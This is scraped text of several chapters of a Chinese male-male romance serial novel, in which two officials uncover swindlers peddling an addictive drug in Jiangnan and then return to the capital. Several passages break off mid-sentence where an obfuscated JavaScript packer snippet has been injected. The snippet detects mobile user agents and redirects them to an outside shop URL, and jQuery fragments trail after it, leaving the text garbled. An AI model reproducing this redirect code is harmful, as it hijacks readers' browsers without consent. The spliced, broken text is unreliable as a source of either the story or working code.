太守一脸疑惑:“陛下赐婚,难道不是因为你看上了谢大人?你这般抠门的人,肯把值钱的东西交给谢大人,还敢说不是真爱?” 燕修延没好气地翻了个白眼,接过谢伟恒递来的帕子擦了擦嘴,又顺势在脖颈间沾了沾。 随着他抬头的动作,太守眼尖瞥见他衣领间露出一点淡淡的红色,待他再低头,那点红色便隐没在了衣领里,再也看不见了。 太守又悟了! “燕大人能为谢大人做到此番境地,实在令人动容,我敬你一杯。” 燕修延一脸莫名,皱着眉看向太守:“你脑子里到底在想什么?乱七八糟的。” 太守冲他点点自己的脑袋,眼底带着笑意,一饮而尽杯中酒:“我干了,你随意。”那眼神里的了然,仿佛看穿了一切。 燕修延嫌弃地撇撇嘴:“就你这脑子,还能管好江南府?” 太守扬眉,语气带着几分得意:“你还别不服气,江南府去年的赋税,比往年多缴了五成!” 燕修延不屑地“嘁”了一声,却也没再反驳。 临走时,燕修延还顺手拿了几碟咸口的点心,又指了指墙角的两坛酒,对着太守努努嘴。 太守无奈失笑,只能认栽付了账。 燕修延拍了拍谢伟恒的手,一脸“经验之谈”地教导:“记住了,吃大户的时候,要连吃带拿,才不亏本。” 谢伟恒闻言,郑重地点点头,语气认真:“我记住了。” 太守站在原地扶额苦笑:“我还在呢,你们俩就这么明目张胆地蛐蛐我,也不知道避着点。” 燕修延咧嘴一笑,晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646274|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了晃手里的点心袋:“我这人,向来不喜欢在背后蛐蛐人。” 谢伟恒提着两坛酒,燕修延走在身侧,脚步慢悠悠的,时不时低头跟他说几句闲话,语气轻快。 “嚯。” 燕修延忽然顿住脚步,冲着前面酒楼三楼的窗口努努嘴,示意谢伟恒看过去:“那个靠窗坐着的,是你的……” 昨日似乎见过此人,与谢伟恒有几分相似。 “是我堂兄,谢安。” 谢伟恒抬眼望去,目光落在那名身着锦袍的男子身上。 又扫了扫他对面的两人是……方才在街边遇到的道长和大师。 燕修延眼底闪过一丝诧异,语气带着几分戏谑:“你谢家不是已经有正经的道长和和尚了吗?怎么还找了这两个假冒的?” 谢伟恒摇了摇头,没有多言,径直走进了这家酒楼,要了谢安隔壁的雅间,随手点了几样家常菜。 燕修延走到窗边,推开窗户,侧耳细听隔壁的动静。 奈何街上人来人往,吆喝声、脚步声此起彼伏,嘈杂得很,什么也听不清。 谢伟恒起身走到谢安的雅间外,驻足凝神听了片刻。 身后忽然传来楼梯的脚步声,他便转身回了自己的雅间。 小二上完酒菜,贴心地关上了门。 燕修延放下手中的筷子,看向谢伟恒:“听到什么了?” 谢伟恒眉头微蹙,语气带着几分凝重:“那两人似乎是卖了什么东西给堂兄,说是能轻身延年、身心愉悦,让堂兄每日服用。” 燕修延拿起筷子,夹了一块红烧肉放进嘴里,即便肚子已经饱了,也不妨碍他再吃点“溜缝”。 他嚼着眼底闪过一丝冷意,嗤笑道:“这两人倒是会换着法子骗人,上次骗的是钱财,这次换了假药,怕是想害人吧。” 又过了片刻,隔壁雅间传来开门的声音,谢伟恒起身轻轻推开门。 “堂兄,这么巧,竟在这里遇上。” 谢安正与道长和大师闲谈,见谢伟恒进来,先是愣了一下,继而脸上露出热情的笑容:“伟恒啊,你和修延也在这里吃饭?真是巧了。” 燕修延从谢伟恒身后探出头来,手里还拿着半块糕点,嘴角沾着一点糖渍,语气懒洋洋的:“是啊,刚吃完,正准备回去呢。” 谢安热情地邀请道:“我正准备去听戏,不如一同前往?也好热闹热闹。” 谢伟恒微微颔首,应道:“好。” 他看向谢安身边的道长和大师,状似随意地问道,“这两位是堂兄的朋友?” 谢安连忙向二人介绍:“这两位是云游世外的高人,道长精通命理,大师深谙佛法,这次多亏了他们指点。” 谢伟恒淡笑一声,提议道:“不如去梨园香吧。” 梨园香是谢家的戏园子,班子好,位置也较清净。 谢安看向道长和大师,见二人点头应允,便欣然同意。 一行五人,说说笑笑地往梨园香走去。 东家亲自来听戏,自然要了最好的雅间。 谢伟恒关上门,燕修延见状,也伸手将窗户关上,隔绝了外面的喧嚣。 谢安有些不解,看向二人:“把窗户关上,就听不到戏声了,多可惜。” 谢伟恒淡笑一声,语气平淡:“能听到。” 燕修延靠在窗边,双手抱臂,语气闲闲的,却带着几分冷意,目光扫过对面的道长和大师:“二位大师在前中书令何大人那里骗够钱财了?” 117. 半点都不可信 谢安愣在原地,脸上的笑意僵在嘴角,眼神里满是茫然。 道长与大师,像是被踩了尾巴的野猫,猛地从梨花木椅上弹了起来,袍袖都因动作过猛扫落了桌边的茶盏。 两人脸色煞白,眼神慌乱却强装镇定,异口同声地厉声喝问:“你们是什么人?竟敢在此胡言乱语!” 燕修延慢悠悠地摩挲着下巴,眉头微蹙,故作苦恼地叹了口气:“唉,看来我在京城的名号,还是不够响亮啊。” 谢伟恒站在雅间门口,身姿清隽,嘴角噙着一抹温淡却疏离的笑,缓缓开口替他解围:“燕大人的名号,自然是响彻京城的,只是这两位高人常年远离世俗,一心修行,想必是不甚了解罢了。” 燕大人……燕修延?! 道长和大师浑身一颤,如同被惊雷劈中,对视一眼,皆从对方眼中看到了惊恐。 燕修延是谁?那是陛下跟前的红人,执掌京中要务,手段凌厉,专查谋逆贪腐之事。 他们在前中书令何大人府上时,早已听过这位大人的威名,此刻哪里还有半分方才的底气,只觉得双腿发软,险些站不住脚。 转念一想,他们不过是卖了些“神药”,又没参与何大人的谋逆之事,顶多算是行骗,算不上大罪,紧绷的心神又稍稍松了些,只是脸色依旧惨白,不敢再直视燕修延的目光。 谢安看看这个又看看那个,终于从茫然中回过神,连忙伸手从怀里掏出一个锦袋。 “修延,伟恒,你们别误会,是樊家老幺把这两位高人推荐给我的,说他们有种神药,能轻身延年,还能让人身心愉悦,忘却所有烦恼。” 燕修延伸手捏起一块放在指尖端详,凑近鼻尖轻嗅。 没弄明白是什么。 那东西通体乌黑,质地粗糙,看着像是烧尽的碳块,却又比碳块更紧实些, “这东西怎么用?若是真好用,我也买些回去试试。” 道长见他像是感兴趣,立刻忘了方才的慌乱,连忙上前一步,谄媚地笑着解释:“用法简单得很!只需睡前掰下一点,碾成碎末,撒在点燃的蜡烛上就行。” 谢伟恒闻言,当即抬手吩咐门外的随从,声音清冷:“去取一支蜡烛来。” 小厮便捧着一支白蜡快步进来,恭敬地放在桌上点燃。 燕修延依照道长所说,掰下少许黑块,用指尖轻轻碾碎,缓缓撒向烛火,粉末落在火苗上的瞬间,一缕淡雅却诡异的香气骤然散开,初闻时清润宜人,可吸上几口,便觉得头脑发昏,浑身泛起一股虚浮的轻飘感,心神都有些恍惚。 燕修延脸色骤变,眸底闪过一丝厉色,丝毫没有犹豫,端起桌上的凉茶,猛地朝蜡烛泼去。 “滋啦”一声,烛火熄灭,青烟袅袅升起,那股惑人的香气渐渐散去。 燕修延将手中剩余的黑块重重拍在桌上,声音陡然变冷,带着不容置疑的威严:“说!你们这东西,到底是从哪儿弄来的?” 道长和大师被他这气势震慑,对视一眼,燕正使的语气不太对啊,说实话吧。 “这东西叫底也伽,是晋王府上的一个药师,拿来跟我们换黄符的!我们自己也试过一次,就一次,确实觉得飘飘欲仙,所有忧愁都没了。” 这种好东西,自己用未免太过浪费,不如用来销售。 二人便想着江南富人多,定然愿意花大价钱买,压根没多想其中的门道。 燕修延眉头紧锁,沉声追问:“手里还有多少?” 道长一时没反应过来,愣愣地张口:“啊?” 大师倒是机灵:“还、还有十五斤,我们按小块卖,一小块十两银子!” 不少有钱人试了觉得好,让大夫查过没毒,都争相购买。 燕修延微微点头,语气平静却带着命令:“行,带我们去取剩下的货。” 谢安在一旁听得一头雾水,还以为燕修延真要购买,连忙好心劝道:“修延,这东西一小块能用好久,没必要买这么多,浪费银子。” 燕修延伸手将谢安掌心剩下的底也伽尽数收进锦袋,一字一句道:“这东西,不是什么神药,是害人的毒物!只用两三次便会让人产生极强的瘾性,一旦沾上,极难戒掉,长期用下去,会悄无声息地耗干体内精血,让人慢慢油尽灯枯,死都不知道怎么死的!” 里面好几味关键药材,都产自西域,绝非寻常之物! 谢安脸色瞬间惨白,浑身一哆嗦,手里的茶盏都掉落在地,摔得粉碎。 “这么邪门?那我得赶紧去找樊家老幺,让他立刻停用。” 道长和大师也吓得面无血色,后背瞬间被冷汗浸湿,连连拍着胸口后怕道:“幸亏、幸亏我们没舍得多用,只试了一次,不然怕是也要遭了殃!” 谢伟恒目光清冷,看向两人,语气淡漠却带着压迫:“你们这段时间,都把这东西卖给了哪些人?” 货就那么多,两人卖的时候压根没记人家是谁。 他们哭丧着脸,双腿一软直接跪倒在地,连连磕头:“大人饶命啊!我们卖的时候,只看人家穿得富贵就上前推销,压根没问姓名家世,有些还是别人引荐的,记不清都卖给谁了啊!” 谢安反应很快,当即拱手道:“我这就去问樊家老幺,看他还跟哪些人说了,又是谁推荐给他的,我先告辞了!”说罢,便匆匆转身离开了雅间。 燕修延懒得再多费口舌,带着收缴的底也伽和人前往太守府。 他把事情同太守说了。 太守正捧着茶盏无奈地叹了口气,摆了摆手道:“你可真是我的克星,一来我江南府,我这府里的事就没断过,麻烦一个接一个。” 燕修延没好气地白了他一眼,将锦袋扔在桌上,毫不留情地怼回去:“你干脆把左脸皮撕下来贴右脸皮上吧,明明是你治理辖地不力,还好意思说我给你找事?” “行了,这两个人和这毒物都交给你了。” 燕修延懒得再跟太守啰嗦,伸手揽住身边的谢伟恒,转身就往外走。 太守对着燕修延的背影虚踹了一脚,嘴里低声嘟囔几句。 一转身瞬间收敛了所有嬉笑,面色严肃冷峻。 道长和大师挨着站,头压的低低的。 太守一挥手,让人先把这二人严加看管起来。 具体的等把用过底也伽的人都找出来,看看他们的情况再说。 “说换黄符来的,依我看,艾木都拉肯定是故意的。” 燕修延分析,艾木都拉早就摸清了这两个骗子贪财、擅游走的性子。 借着两人的手,把底也伽在江南富人圈里悄悄散播,这是想暗中祸乱江南。 谢伟恒点头附和,眸底闪过一丝冷光:“单凭这两个人,不可能在短时间内把东西卖出去这么多,江南地界,肯定还有其他同伙在暗中售卖底也伽。” “啧。” 燕修延挑了下烛芯,火苗微微跳动,映得他眼底满是笃定:“等抓到艾木都拉,正好拿这事做由头,顺理成章起兵,哼哼。” 谢伟恒从燕修延的外袍衣襟里,掏出了一支温润的白玉簪:“若是真到了开战那日,可以把他绑在巨弩的箭上,一箭射倒敌人的帅旗,倒也是件趣事。” 燕修延愣了一下,随即惊讶地看着他:“可以啊谢大人,心思够狠……不对,你把这簪子拿出来做什么?” 谢伟恒将簪子举到眼前看,缓缓问道:“哥哥觉得,这簪子除了簪发,还有别的用处么?” 燕修延接过簪子看了看:“当利器?还能有什么用处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646275|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 嘴里这么说,他抓着快步冲到门外,抬手打了个清脆的呼哨。 不过片刻,院墙头上便冒出来两个脑袋,正是白天铎和肖泽,两人探头探脑地看着他,一脸好奇。 燕修延抬手将白玉海棠簪扔给白天铎:“把这玩意拿走,赶紧处理了,我不想再看见它!” 白天铎一看是块上好的白玉雕琢而成的簪子,乐呵呵地应道:“放心吧头儿,保证给你处理得干干净净,再也不会出现在你眼前!” 说罢,揣着簪子,拉着肖泽,一溜烟便消失在院墙之后。 燕修延拍了拍手,装作若无其事地走回屋内,冲着谢伟恒摊了摊手,一脸坦荡:“管它有什么用处,反正现在是没了,以后也别再提了。” 谢伟恒眸底笑意渐浓,缓步走到他面前,轻声道:“燕大人似乎很担心我会用这簪子做些什么。” 燕修延斜睨着他:“自信点儿,把‘似乎’去掉,我就是不放心你。” “你这人,看着温文尔雅,肚子里全是坏心思,指不定又要拿这簪子捉弄我。” 谢伟恒伸手轻轻拉起燕修延的手,目光温柔得能滴出水来:“哥哥你可以多信任我一些的。” 燕修延嘴角勾起一抹浅浅的笑意,抽回手:“除了床上那点事,其他时候,我对你都是百分百信任的。” 谢伟恒眸底的温柔瞬间多了几分暗沉的情愫,轻轻环住燕修延的腰,将人揽进怀里:“如此,我还需多多努力,让哥哥能够全心全意,毫无保留地信任我。” 燕修延抬手拍了拍他的肩膀,一脸“孺子可教”的模样:“好好努力吧,成年人。” 谢伟恒便俯身一把将燕修延抱起放到床上,而后吹灭烛火,放下帐幔。 燕修延还想今天睡的挺早,结果—— 谢伟恒的**在燕修延的**来回,燕修延的**??出** (尽力了,还是老规矩读者们幻想一下过程吧,这都不一定能过审) “我不是让你这种努力!” 谢伟恒声音无辜又缱绻,带着满满的笑意:“我说的就是这种努力啊。” “你简直是牲口!” 燕修延又气又羞,却半点挣脱不开,只能任由他胡闹。 次日燕修延醒来,已经是日上三竿了。 他生无可恋地瘫在床上,眼神空洞地望着帐顶:“收拾东西,回京吧,江南不玩了,太累了。” 谢伟恒坐在床边,指尖温柔地抚过他的发顶:“回去之前,要去谢家的马场看看吗?” 一提到马场和西域马,燕修延瞬间来了精神,原本慵懒的模样一扫而空,猛地坐起身,可动作太急,腰侧传来一阵酸痛。 他顿时皱起眉,咬牙切齿地瞪着谢伟恒:“谢大人,此事万万不可贪多,细水长流的道理,你到底懂不懂!” 谢伟恒伸手轻轻替他揉着酸软的腰腹:“好,都听燕大人的,以后定细水长流。” 燕修延:这人的说话,半点都不可信。 两人简单用过膳,便动身前往马场。 谢家的马场占地极广,草场碧绿无垠,一眼望不到边,马厩整齐排列,里面养着数十匹良驹,马蹄声、马嘶声此起彼伏,热闹非凡。 从西域带回来的马明显比其他马要高大不少。 谢伟恒口中的小马驹如今已经长成成年马了。 毛色油亮顺滑,如同绸缎一般。 只是那马脾气桀骜不驯。 见燕修延靠近,猛地打了个响鼻,前蹄不停刨着身下的青草,鬃毛飞扬,眼神凶悍,透着十足的野性。 马场管事连忙快步上前,对着两人恭敬行礼:“这马野性极大,寻常驯马师都近不了身,少夫人可以亲自驯服它。” 118. 你也跟修延学坏了? 燕修延倒是想亲自驯服那匹野性十足的西域马,可腰侧那阵若有似无的酸痛,瞬间将他的豪情壮志浇灭了大半。 他狠狠剜了谢伟恒一眼:“牲口!” 谢伟恒扶着他的腰,掌心的温度透过锦袍传来,他低眉看着燕修延眼底满是宠溺的笑意:“今日不骑马,只来看看就好。” 管事本就是个察言观色的人精,见燕修延眉宇间的疲惫,再结合燕修延方才的眼神,瞬间心领神会。 “这马素来散养,配套的马蹬与马鞍还未备好,骑起来有些不太方便。小的这就命人连夜赶制,保准少夫人下次来,能纵马奔腾,尽兴而归!” 纵马…… 燕修延嘴角不受控制地抽搐了一下。 谢伟恒抬手让管事的先下去,凑近燕修延耳边,温热的气息拂过他的耳廓:“燕大人,你这般模样,是想到了什么?” 燕修延一记胳膊肘结结实实地捣在谢伟恒的胸口,强装镇定地别过脸:“什么都没想到。” “这样啊。” 谢伟恒不依不饶,指尖轻轻捏了捏燕修延泛红的耳垂,他的声音更低了,带着蛊惑的意味:“我还以为,你也想起前天晚上——” “闭嘴!” 燕修延转过身,一左一右捏住谢伟恒的嘴角,轻轻往外扯着,恨不得把这人的嘴缝上。 谢伟恒则一脸无辜地眨着眼睛,任由他摆弄,眼底的笑意却藏都藏不住。 不远处,管事和旁边的马倌正探头探脑地看着这边,两人脸上都挂着心照不宣的笑容。 “听府里人说,少夫人和少爷恩爱得很,之前还不信。你看少爷,平日里看着清冷孤傲,站在少夫人身边,那眼神温柔得都能滴出水来!” 马倌双手遮在眼睛上方,挡住刺眼的阳光,目光黏在两人身上,脸上挂着憨实的笑容:“看不清具体的,但就是觉得甜腻腻的。要是少夫人能给少爷生个胖娃娃,那该多好啊。” “好你个头!” 管事一巴掌呼在马倌的后脑勺上低声呵斥,“这话以后可不许乱讲,万一传到少夫人耳朵里,惹得他不快,影响他跟少爷的感情,看我不扒了你的皮! “我不是那个意思,就是觉得他们长的这么好看,有个娃娃肯定也好看,好好好,我以后都不说了。” 马倌摸摸后脑勺,憨笑着把管事的拉进怀里:“放心,我肯定不会让你生的——唉!” 管事一个背摔将马倌掼在柔软的草地上,捏了捏拳头,故作凶相地威胁道:“我说过多少遍了,在外面给我老实点!别乱说话!” 马倌从草地上爬起来,揉了揉屁股:“一时忘了,一时忘了。” “看见没,你再不老实,我也把你掼地上。” 燕修延冲着管事那边努了努嘴,挑眉挑衅:“我变着法儿都能摔你,横摔、竖摔、左摔、右摔。” 谢伟恒勾起燕修延的小指,指尖轻轻摩挲着,语气纵容:“哥哥想怎么摔都行,我都接着。” 燕修延眯起眼睛,警惕地看着他。 这狗东西,脑子里想的肯定不是什么正经的“摔”,指不定又在盘算着什么捉弄他的法子。 一匹通体雪白的小马驹撒欢似的跑了过来,四个小蹄子各跑各的,跌跌撞撞,模样滑稽。 它经过成年马身边时,成年马猛地抬起后脚踹了过去,却愣是没踹到,气得它刨着蹄子,发出一声不满的嘶鸣。 “哈哈哈,这皮小孩,果然永远都是欠揍的。” 燕修延笑完之后,随手拽起几根青草,指尖翻飞,很快就编出一只栩栩如生的蚱蜢。 他将蚱蜢递给谢伟恒,语气带着几分无奈的宠溺,“送你了,咱们回去吧。” 干看着宝马良驹不能骑,还不如回家躺着舒坦。 中午在谢府用过膳,谢老爷子带着一众长辈在门口送别。 看着两人乘坐的马车缓缓驶离,谢老爷子轻叹一声,眼神里满是欣慰与不舍:“唉,这一去京城,不知道要多久才能再相见。好在他二人感情这般深厚,相互扶持,彼此照料,也算是一桩美事。” 谢家一个年幼的小辈凑过来,娇笑道:“太爷爷,您说得不对!是小叔叔悉心照料小婶婶,小婶婶只管吃饭享福,小叔叔看着小婶婶,自己也跟着吃得香,俩人好得跟一个人似的!” “哈哈哈!” 周围的长辈们听了,纷纷哈哈大笑起来。 谢老爷子伸手摸了摸小孩的发髻,慈爱的笑道:“你这孩子,倒也说得直白。这也是一种彼此照料,你还小,长大了自然就懂了。” 马车上,谢伟恒拿出几片切得薄薄的生姜替燕修延贴上。 燕修延靠在软垫上,伸手摸了摸自己圆滚滚的肚子,一脸满足地叹了口气:“中午吃得是真尽兴,就是这肚子撑得慌,希望上船之后,别便宜了水里的鱼才好。” 谢伟恒伸手轻轻摩挲着他的肚子,随后伸手搭在燕修延的手腕上,指尖轻轻搭在脉上。 燕修延一巴掌呼在谢伟恒的脸上,嗔怒道:“想说喜脉是吧?我告诉你,想都别想,我揍你啊!” 谢伟恒握住燕修延的手腕,将那只温热的手掌贴在自己的脸颊上:“燕大人想怎么揍都可以,快到码头了,时间怕是不太够哦。” 燕修延皮笑肉不笑地扯了扯嘴角:“哪儿会不够?我把你打晕了,眼睛一闭一睁就到京城了,多省事。” 谢伟恒将他的手放在自己的脖颈上,引导着他的力道:“燕大人你可以动手了。” 燕修延抽回手,嫌弃地白了他一眼。 打晕了还得扛上船,他才懒得做这苦力。 回去的路程慢了不少。 燕修延只要不晕船,倒也无所谓。 一路上,燕修延只要得空,就会跑到装满抄家宝物的船舱里逛一逛。 “亏得带的船够大,不然还得再弄一艘船才能装下这些好东西。” 燕修延拿起一个纯金细嘴茶壶,用衣袖轻轻擦拭着壶身繁复精致的花纹,眼神里满是喜爱。 谢伟恒看在眼里,笑道:“若是喜欢便拿走,陛下那边,我去说,他不会有意见的。” 燕修延将茶壶轻轻放回原处,摇了摇头:“这些我都喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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燕修延眼睛一亮,立刻附和:“说得对!正好还能再吃点喝点,补充补充能量。” 两人交代完码头的事宜,便乘马车返回谢府。 燕修延一进府,就迫不及待地钻进了浴桶,温热的水包裹着全身,让他舒服地喟叹出声:“舒坦!还是你说得对,泡个澡可比洗把脸舒服多了——你回你自己的桶里泡去,挤得慌。” “不挤,正好。” 谢伟恒直接伸手揽住燕修延的腰,将他圈进自己怀里,低头在他白皙的后颈上轻轻咬了一口:“燕大人说过,回了京城,我就可以不老实了。” 燕修延:……他当时说的是这话?! 谢伟恒的**在燕修延的**,tai起燕修延的**又an下去 (尽力了,还是老规矩读者们幻想一下过程吧,这都不一定能过审) ———————————— 快乐小剧场: 燕修延拿着茶壶(使劲擦)。 细嘴茶壶里冒出来一个灯神:年轻人啊,是你唤醒了我,请问你是想要这个银茶壶呢,还是想要这个金茶壶呢? 燕修延看了眼谢伟恒:小孩子才做选择,我全都要!!! 119. 执念太深,终害己 “差不多得了啊你!再泡下去,人都要泡皱了。” 燕修延无力地扯了扯谢伟恒垂在肩头的墨发。 水温早已褪去温热,只剩微凉,氤氲的水汽散了大半。 谢伟恒低头看向怀里软绵无力的人,将人抱起,随手扯过一旁干爽的锦缎外袍,严严实实地裹住燕修延的身子。 他抱着人走到梳妆镜前坐下,一点点擦拭掉燕修延头发上水珠。 燕修延把头深深埋进谢伟恒的颈窝,死活不肯抬头,耳尖红得快要滴血。 “我说你是不是该先出来?” 燕修延闷声闷气地催促,声音里带着几分无奈。 谢伟恒指尖顺着他的发丝缓缓摩挲,语气温柔安抚:“别急,一会就好,把头发擦干,免得着凉。” 燕修延早已听了无数个这样的“一会”了。 “你这张嘴说的话,半分都不可信!你别ding!” 谢伟恒只低笑一声,换了条更干爽的沐巾,继续耐心擦拭着他的长发,语气带着几分缱绻的讨好:“我的话不可信没关系,燕大人的嘴可信就够了。” 燕修延心头又气又痒,张口在谢伟恒的肩头咬了一口。 这人实在太折磨人了! 直到指尖触到的发丝半干,谢伟恒才停下动作,低头在燕修延发顶印下一个轻吻,低声道:“抱紧了。” 话音落,他托着燕修延稳稳站起身。 燕修延还在骂谢伟恒呢,话音却猛地一顿,语调骤然变了调子。 谢伟恒将人轻轻放在柔软的床上,伸手放下层层床幔,语气带着几分商量:“明日再进宫吧。” 燕修延深吸一口气,双腿猛地夹住谢伟恒的腰,借着一股力道翻身将人反压在身下。 按着他的胸口:“你都已经决定好了,又何必来问我,装什么样子。” 谢伟恒笑意温柔:“我只是想让燕大人歇好,别累着。” “呸!你压根就没想让我休息,满肚子坏心思。” 燕修延伸手扯住谢伟恒的发丝,微微俯身,主动吻上那抹带着温软气息的唇。 “他俩直接回府了?” 虞睿祥接到船抵京的消息,早早在御书房等候,手边的奏折翻了一本又一本,茶水换了数次,迟迟不见两人的身影。 按捺不住便派人去问,得到消息后,虞睿祥顿时哭笑不得。 真行啊这两人! “罢了罢了,今日多半是见不着喽。” 虞睿祥所料丝毫不差,他第二日午时将至才见着燕修延和谢伟恒。 “合着你俩挑饭点来的?掐着时辰赶过来蹭御膳呢?” 虞睿祥嘴角勾起一抹似笑非笑的意味,语气里带着几分打趣的嗔怪:“回家挖金子去了,竟耽搁到现在才来!” 燕修延斜睨了身边的谢伟恒一眼,把问题推了过去,语气轻飘飘的:“陛下问你话呢。” 谢伟恒拉着燕修延走到殿内铺着软垫子的椅子上坐下,动作自然地替他理了理衣摆。 虞睿祥挑了挑眉,琢磨出几分不一样的味道,眼底的打趣更浓了。 正要细细打量,谢伟恒却微微侧身,不动声色地挡住了虞睿祥的视线,躬身拱手,语气恭敬得体:“陛下,昨日家中有事要处理,一时耽搁了时辰,未能及时进宫面圣,还望陛下恕罪。” 有事?倒也算是一种事,人之常情嘛,他懂! “倒是耽搁得挺久,从昨日等到今日午时,朕的御膳都快凉了。” 皇帝意味深长的看了谢伟恒一眼,摆了摆手,不再追问,笑着开口:“一会便留在宫中用膳吧,近日御膳房新琢磨出几道不错的药膳,大补身子,滋味也好。” 燕修延拖长了语调,语气里带着几分揶揄,故意看向虞睿祥:“药膳啊——” 虞睿祥被他这副样子逗笑,真以为这药膳是他要吃的? 合上折子,虞睿祥点破道:“对,修延可以多尝尝,味道不比寻常菜肴差。” 燕修延心里暗暗撇嘴,他才不觉得自己需要吃什么药膳:“行,那我一定尝尝。” 意思意思吃一口便罢了,他又不像陛下——算了,吃点补补吧。 昨日消耗蛮大的。 燕修延收敛了玩笑的神色,将江南一行的遭遇细细说与虞睿祥,说完便从袖中取出几颗黑乎乎的底也伽,轻轻摆放在御案上。 “陛下,这东西危害极大,极易成瘾,长久吸食会耗损精血,我以为应当尽早在全国摸排使用之人,同时昭告天下,讲明此物危害,杜绝百姓误食。” 谢伟恒在一旁补充,语气沉稳:“同时设立举报制度,凡举报售卖底也伽者,经查实给予重赏,以此断绝售卖渠道,更快肃清隐患。” 虞睿祥拿起一颗不起眼的黑块,放在指尖摩挲,眉头微蹙:“这东西,可有解药?” 燕修延摊了摊手,如实回道:“我不是药师,我留了一份样品准备找柳岚研究,看看能否制出解药。” 虞睿祥放下底也伽,当即吩咐:“朕即刻让郑太医也一同研究,双管齐下,尽快找出解法。” 至于虎头山匪患,虞睿祥并未放在心上,历朝历代皆有官匪勾结之事,他相信江南府太守能处理好,无需过多费心。 事情商议妥当,御膳也恰好传了上来,珍馐美味摆满一桌,香气四溢。 谢伟恒细心地盛了一碗药膳汤,递到燕修延面前。 燕修延低头一看,碗里名贵药材清晰可见,顿时皱起眉头。 这一碗大补的汤喝下去,怕是要流鼻血。 药味肯定浓重…… 耶,味道还不错。 燕修延抿了一口,砸吧砸吧嘴,不再犹豫,仰头将整碗汤喝得干干净净,连渣都没剩。 宫里的药膳确实不错。 燕修延吃得格外香甜,放下筷子时,还忍不住打了个小小的饱嗝,模样憨态可掬。 虞睿祥慢条斯理地用锦帕擦了擦嘴角,眼底满是无奈的宠溺。 基本只要不是什么难吃的东西,燕修延吃的都很香。 看着他吃得香的样子,连带着自己也多吃了半碗饭, “朕准备去看看晋王,闲来无事,要不要一起去看热闹?” 燕修延眼睛瞬间亮了,当即满口应下,语气爽快:“去啊!有戏不看王八蛋嘛!” 虞睿祥失笑,吩咐宫人带上从晋王府抄出的那件龙袍。 晋王披头散发,疯疯癫癫地坐在桌案上,双手胡乱挥舞,嘴里痴痴地傻笑,见有人进来,更是拔高声音喊道:“众卿平身!朕乃真龙天子,尔等速速跪拜!” 虞睿祥看着他这副模样,眉头微蹙,转头问身边伺候的宫人:“他平日都这般疯癫?” 宫人躬身回话:“回陛下,王爷自被软禁后,日日如此,口中总念叨着登基称帝的话。” 虞睿祥不再多问,抬手示意身后宫人,将那件明黄色的龙袍在晋王面前缓缓展开。 晋王见状猛地从桌案上跳下来,脚步踉跄地扑过来,嘴里急切地大喊:“快!快伺候朕更衣!朕要穿龙袍,朕要接受万民朝拜!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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柳岚拿起黑块,放在鼻尖细细闻了闻,没闻出什么味来。 燕修延也不多说,直接点燃桌上的蜡烛,掰了少许碎末撒在烛火上,瞬间一股诡异的香气散开。 柳岚耸耸鼻子,连忙伸手掐灭蜡烛。 “头儿,这东西不对劲!你从哪儿弄来的?” “去江南府,偶然查到的,骗子拿来骗钱的东西,成瘾性极强,害人不浅。”燕修延简单说明。 柳岚将底也伽小心收起来,捶了捶发酸的肩膀,唉声叹气,满脸委屈:“我最近忙得脚不沾地,一堆公务没处理,只能试试看了,怕是要耗不少功夫……” 燕修延一眼就看穿了她想讨赏的小心思,也不拆穿,从袖中掏出一个指甲盖大小的纯金金蝉,放在桌上,小金蝉雕工精致,栩栩如生,一看就价值不菲:“行了,别装了,手里的杂事交给旁人去做,专心研究这个。” 柳岚眼睛瞬间亮了,一把抓起金蝉揣进怀里,喜笑颜开,连连道谢:“谢谢头儿!头儿最好了!我一定尽快研究出解药!” 燕修延无奈摇了摇头,转身往门口走,准备去找其他属下交代后续事宜。 “咚” 是小石头撞击窗棂的声音。 柳岚快步打开窗户,只见温泽贴着墙根站在外面,脑袋缩着,压低声音急切地问:“柳岚,头儿在吗?” 燕修延脚步一顿,嘴角勾起一抹玩味的笑,下一秒便快步走到窗边,双手撑着窗框,身子微微前倾,笑眯眯地看着外面的两人:“在呢,找我有事?” “哎呦我的亲娘喂!” 温泽猝不及防看见燕修延,吓得浑身一哆嗦,差点瘫在地上。 温瑞更是吓得魂飞魄散,转身拔腿就跑,只想赶紧逃离现场。 燕修延看着两人慌不择路的样子,语气轻飘飘的,却带着十足的压迫感,缓缓开口,一句话便将两人钉在原地,半点不敢再动:“再跑一个试试。” 120. 没赏“臣告退” “嘿嘿嘿……” 温瑞和温泽对视一眼,两人脸上堆着一模一样的干笑,嘴角扯得发僵,眼神飘忽着不敢往屋里看,脚步慢吞吞地转了过来,指尖还紧张地攥着衣摆,一副做贼心虚的模样。 燕修延指尖漫不经心地勾勾,语气平淡却带着不容置疑的威严:“滚进来。” 两人闻言,像两个圆滚滚的球似的,低着头、弓着背,轻手轻脚地滚进屋里。 